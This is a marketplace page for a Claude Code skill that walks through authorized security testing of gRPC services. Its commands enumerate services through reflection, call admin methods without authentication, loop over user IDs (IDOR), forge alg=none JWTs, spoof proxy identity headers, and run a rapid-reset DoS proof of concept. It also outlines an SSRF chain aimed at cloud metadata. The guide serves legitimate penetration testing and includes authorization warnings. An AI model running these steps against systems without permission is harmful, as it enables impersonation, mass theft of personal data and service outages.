mcpField
H
hunt-grpc

hunt-grpc

github.com/uphiago安全1.3k41 次安装8 周前更新
代码仓库

关于 hunt-grpc

hunt-grpc 是面向安全研究人员的 gRPC 测试技能,涵盖服务发现、授权检查、信任边界测试和结果验证,并明确提醒未经授权不得进行拒绝服务测试。

主要功能

  1. 01gRPC 端口与协议指纹识别
  2. 02基于 Reflection 枚举服务
  3. 03未认证方法与 IDOR 检查
  4. 04代理元数据与认证绕过测试
  5. 05Proto 与转码攻击面检查
  6. 06漏洞验证与安全指引

适用场景

  1. 01在授权评估中绘制暴露的 gRPC 服务
  2. 02检查 RPC 方法是否缺少授权
  3. 03测试代理元数据处理和转码路由
  4. 04验证 gRPC 漏洞报告是否可复现

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-grpc

安装后在 Claude Code 中输入/hunt-grpc确认已加载。

详细介绍

HUNT-GRPC — gRPC 安全

皇冠明珠目标

启用 gRPC 反射 = 无需源代码即可枚举完整服务目录。价值最高的 gRPC 漏洞源于一种架构假设:服务是“内部的”——身份验证在边缘代理上执行,后端信任任何能够访问它的调用方。一旦你直接访问后端(暴露的端口、SSRF、绕过代理),这种信任就会崩溃。

价值最高的发现:

  • 生产环境启用了反射 — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection 会列出每个方法、消息和内部服务。这是枚举的助力,本身并非漏洞(见验证)。
  • 内部服务缺少身份验证 — 面向东西向微服务流量设计的服务对外暴露,既没有 mTLS,也没有按方法授权 → 直接调用特权方法。
  • 仅边缘身份验证 / 元数据未剥离 — 代理对用户进行身份验证,但后端重新信任代理注入的请求头(x-user-id、x-tenant-id、x-forwarded-*);如果你能访问后端,或能通过代理注入这些请求头,就可以冒充任意租户。
  • 明文 gRPC — 非标准端口上的 gRPC h2c(明文 HTTP/2)→ 凭据/元数据可能被截获。
  • HTTP/2 Rapid Reset DoS(CVE-2023-44487) — 交错发送 HEADERS 和立即发送 RST_STREAM 帧可绕过 MAX_CONCURRENT_STREAMS 计数 → 耗尽资源。几乎没有任何计划允许测试 DoS——发送任何突发请求前,务必取得明确的书面授权。

阶段 1 — 指纹识别与端口发现

# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl --max-time 30 --connect-timeout 10 -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl --max-time 30 --connect-timeout 10 -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

出现 grpc-status trailer ⇒ 该端口后面有 gRPC 服务端(或 grpc-gateway/Envoy)。在随机路径上返回 UNIMPLEMENTED 是正常现象,只能确认传输协议,并非漏洞发现。


阶段 2 — 通过反射枚举服务

brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

反射已禁用? 如果你能猜到方法名,仍可调用已知方法;也可以从泄露的 .proto 重建 descriptor set(阶段 5),并通过 grpcurl -protoset bundle.bin ... 传入。关闭反射是加固措施,而非安全边界。


阶段 3 — 无需身份验证调用方法(授权测试)

# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

解读 gRPC 状态码,而不只是看是否有字节返回(见验证):

  • OK + 返回内容非空 → 方法在未经身份验证的情况下执行 → 漏洞发现。
  • Unauthenticated (16) / PermissionDenied (7) → 已强制执行授权;不是漏洞发现。
  • Unimplemented (12) → 路径错误 / 此服务端上没有该方法。
  • InvalidArgument (3) → 已到达该方法,并解析了你的输入 → 方法可调用;修正负载后重试。

阶段 4 — 身份验证 / 信任边界绕过

# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

元数据未剥离漏洞(b)是 gRPC 特有的皇冠明珠:先将伪造的请求头直接发送到后端端口进行确认,再单独通过公共代理发送——如果代理将你的 x-user-id 原样转发给后端,那么真实用户也会受到影响,而不只是通过绕过端口才能利用。


阶段 5 — Proto 文件 / Schema 发现

# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto 泄露本身严重性较低;它的价值在于能打开一扇门,让你针对禁用了反射的目标执行阶段 3–4 的测试。


阶段 6 — gRPC-Web / grpc-gateway / JSON 转码攻击

gRPC 几乎总是通过转码器触达浏览器:Envoy grpc_web/grpc_json_transcoder、grpc-gateway(REST↔gRPC)或 Connect。这些转换器是现实中的外部攻击面,并且经常会重新暴露内部方法。

# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

这很重要的原因:面向浏览器的转码器通常会将请求转发到与内部 gRPC 平面相同的后端。如果转码器路由暴露了 AdminService,或未要求 gRPC 客户端本应提供的身份验证,那么你就发现了一个真正可从外部访问的授权漏洞。确认每个转码路由都能返回包含敏感数据的 OK,并验证未经身份验证的用户或低权限用户也能访问它(而不只是能从网格内部访问)。


第 7 阶段 — HTTP/2 Rapid Reset DoS(CVE-2023-44487)

授权门槛: 绝大多数项目都不允许进行 DoS。没有明确、书面且范围清晰的许可,以及项目所有者同意的目标和时间窗口,切勿运行此测试。如有疑问,请跳到验证部分。

这不是负载测试。它会打开流(HEADERS),并在服务器处理完毕前立即取消流(RST_STREAM),因此每个被取消的流都会立即释放一个 MAX_CONCURRENT_STREAMS 槽位,而服务器仍在处理该流——客户端可以远远超出并发上限。h2load/ghz 是吞吐量基准测试工具;它们没有 rapid-reset 模式,也不会交错发送 HEADERS 和立即发送 RST_STREAM,因此无法测试此问题。

正确工具——作者认可且确实会发出这种帧模式的 PoC:

# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

避免 DoS 的检测方式——优先采用此方法: 你只需要证明是否存在缓解措施。检查服务器标识 / 版本,以及它是否会跟踪重置洪泛:

# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl --max-time 30 --connect-timeout 10 -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

报告经版本确认的缓解措施缺失,而不是基准测试中的性能下降。“服务器在负载下变慢”不能证明存在 CVE-2023-44487——这会在速度较慢或资源不足的服务器上造成误报,也会在能优雅限制重置请求的已修补服务器上造成漏报。


工具

grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

链接表

gRPC 发现链接至影响
已启用反射枚举所有内部服务方法和消息完整 API 目录泄露(促成条件)
管理方法未启用身份验证调用特权 RPC(DeleteUser、GetConfig)数据篡改 / 系统访问 — 严重
代理未剥离转发的 x-user-id/x-tenant-id伪造身份元数据 → 跨租户冒充绕过租户隔离 — 严重
可枚举 ID 字段导致 IDOR在 GetUser 中遍历 user_id大规模 PII 外泄 — 高危
grpc-gateway / gRPC-Web 路由重新暴露内部 RPC未经身份验证访问转码后的 REST/JSON 路径可从外部访问的授权绕过 — 高危 / 严重
内部端口上的明文 h2c中间人攻击 / 窃听元数据(承载令牌)凭据窃取 — 高危
.proto 泄露(仓库 / swagger)使用 -protoset 驱动关闭反射的目标解锁第 3–4 阶段 — 单独为低危,作为促成条件则为高危

验证

运行此自测,确认已准备好进行 gRPC 搜寻:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-grpc" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可验证技能结构正确且可供使用。


陷阱

  • 已启用 gRPC 反射,但没有敏感方法 — 反射是一种设计选择。只有在暴露内部 / 管理方法时才报告。
  • gRPC 未使用 TLS — 内部网络上的明文 gRPC 很常见。只有面向公众的服务才构成发现项。
  • gRPC-Web 代理绕过 — 将 gRPC-Web 转换为 gRPC 的代理可能采用与后端不同的身份验证方式。应测试两种路径。
  • Protobuf 模糊测试未导致崩溃 — 格式错误的 Protobuf 导致 500 不一定可利用。需要证明崩溃导致远程代码执行或数据泄露。

相关技能

  • hunt-idor — 带有可枚举 ID 参数(user_id、order_id、tenant_id)的 gRPC 方法调用,会表现出与 REST API 相同的 IDOR 模式。链式利用原语:反射列出 user.UserService/GetUser → grpcurl -d '{"user_id": 1}' 返回用户数据 → 遍历 ID 1-10000,无需身份验证即可大规模窃取个人身份信息。
  • hunt-api-misconfig — JWT alg=none、protobuf 消息字段中的批量赋值,以及 HTTP 动词篡改,都适用于 gRPC-Web/grpc-gateway 转码端点。链式利用原语:转码后的 REST 端点在仅允许 GET 的路由上接受 X-HTTP-Method-Override: DELETE → 删除资源。
  • hunt-auth-bypass — 仅在边缘进行身份验证的 gRPC 服务中,代理会进行身份验证,但后端信任由代理注入的标头。链式利用原语:将 x-user-id: 1 标头注入 gRPC 元数据 → 后端将请求视为已通过身份验证的管理员 → 跨租户冒充。
  • hunt-tls-network — 非标准端口上的明文 h2c gRPC、ALPN 协商分析,以及 TLS 版本回退。链式利用原语:端口 9090 上的 gRPC 使用 h2c(无 TLS)→ 本地网络上的中间人可以读取/发送元数据中的身份验证令牌。
  • hunt-ssrf — 接受 URL/主机参数(webhook、导入、代理)的 gRPC 方法是 SSRF 攻击面。链式利用原语:billing.BillingService/ProcessWebhook 接受 webhook_url → 将其设为 http://[REDACTED_IP]/latest/meta-data/ → 窃取云元数据。
  • hunt-cloud-misconfig — 通过公开转码器暴露云资源管理方法(CreateInstance、ListBuckets、InvokeFunction)的 gRPC 服务。链式利用原语:反射发现 cloud.CloudService/CreateInstance → grpc-gateway 暴露 /v1/cloud/instances → 无需身份验证即可创建云资源。
  • hunt-http-smuggling — HTTP/2 Rapid Reset(CVE-2023-44487)与基于 HTTP/2 的 gRPC 技术栈相关。链式利用原语:nginx/Envoy 后的 gRPC 服务 → Rapid Reset 洪泛绕过 MAX_CONCURRENT_STREAMS → 控制平面遭受 DoS。
  • security-arsenal — 使用 gRPC 服务枚举字典(常见服务名称:UserService、OrderService、AdminService、AuthService、PaymentService)、protobuf 载荷模板和反射探测载荷。
  • triage-validation — 应用状态码判别门槛:带有 grpc-status: 0(OK)的 gRPC 响应属于已确认发现;Unauthenticated (16)/PermissionDenied (7) 表示身份验证有效,应关闭候选问题。若非空响应正文可能是错误帧,切勿据此声称“无身份验证”。

相关技能:hunt-idor(ID 枚举逻辑)、hunt-api-misconfig(JWT alg=none/请求消息中的批量赋值)、hunt-auth-bypass(边缘与后端之间的信任边界)、hunt-tls-network(h2c/明文 + ALPN)、cloud-iam-deep(若调用的 RPC 返回云凭据)。


验证——严守误报纪律

对天真的 grep 来说,gRPC 的失败模式看起来像成功。提交前请通过以下检查。

  1. 区分状态码,不要只数响应字节。 非空响应仍可能是错误帧。确认 grpc-status 尾部元数据为 0(OK)。Unauthenticated (16) / PermissionDenied (7) 表示身份验证有效——关闭此候选问题。Unimplemented (12) 表示方法不对。使用 grpcurl -v 重新运行,并明确检查尾部元数据。

  2. 反射 / 健康检查端点通常会有意公开。 grpc.reflection.* 和 grpc.health.v1.Health 可访问这一点本身属于信息泄露(最多低/中危)——许多厂商会按设计启用反射。除非它泄露了非公开的服务目录,否则不要将其报告为“缺少身份验证”。真正的问题是你随后能在第 3 阶段证明可在未通过身份验证的情况下调用的敏感服务。

  3. 区分“没有身份验证”和“此方法无需身份验证”。 有些方法(健康检查、公开目录读取)本来就允许匿名访问。通过展示经过身份验证与未经过身份验证时的状态差异来证明漏洞:同一个 RPC 在无凭据时返回其他用户 / 租户的私有数据,或执行了修改状态的管理员 RPC(重新读取已更改的状态,以确认副作用)。

  4. 区分代理与后端的可达性。 若只有通过 SSRF / 端口扫描发现的内部 :50051 才能触发漏洞,那么漏洞确实存在,但严重程度取决于可达性。明确说明外部攻击者如何触达该服务(暴露的端口、SSRF 出站流量、代理透传)。对于元数据伪造,要证明公共代理会转发伪造的标头——而不只是绕过代理直接访问后端端口。

  5. 盲测必须使用 OOB / Collaborator。 如果 RPC 接受 URL / 主机参数(webhook、导入、渲染),就应视为 SSRF 候选问题:将其指向带有唯一子域名的 Burp Collaborator 负载,并确认 DNS + HTTP 交互后再报告 SSRF。没有交互 = 没有 SSRF。转交给 hunt-ssrf。

  6. DoS 必须有授权,并能通过版本验证。 绝不能仅凭基准测试中的“变慢”就提交 CVE-2023-44487。必须满足以下任一条件:(a) 根据 server: 标头确认使用的是未修补的 HTTP/2 堆栈;或 (b) 仅在获得明确书面授权且商定测试时段的情况下演示重置洪泛——随后立即停止。响应缓慢不构成证据。

严重程度指南(通过以上检查后):

  • 无需身份验证即可调用敏感 / 管理员 RPC,且已证明副作用 → 严重
  • 代理转发的元数据伪造导致跨租户冒充 → 严重
  • 可枚举 RPC 导致 IDOR / 大规模泄露 PII → 高
  • 内部服务可从外部访问(转码器或开放端口) → 高
  • 明文 h2c 泄露 bearer 元数据 → 高
  • 启用反射并暴露非公开目录 → 中(促成因素)
  • 泄露 Proto / 描述符,但无法调用敏感方法 → 低

评论

支持 Markdown